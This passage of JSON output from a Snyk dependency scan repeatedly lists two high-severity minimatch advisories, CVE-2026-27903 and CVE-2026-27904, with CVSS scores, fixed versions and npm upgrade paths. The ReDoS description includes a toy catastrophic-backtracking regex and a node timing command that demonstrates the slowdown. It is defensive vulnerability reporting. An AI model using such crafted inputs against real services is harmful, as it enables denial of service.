"2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to 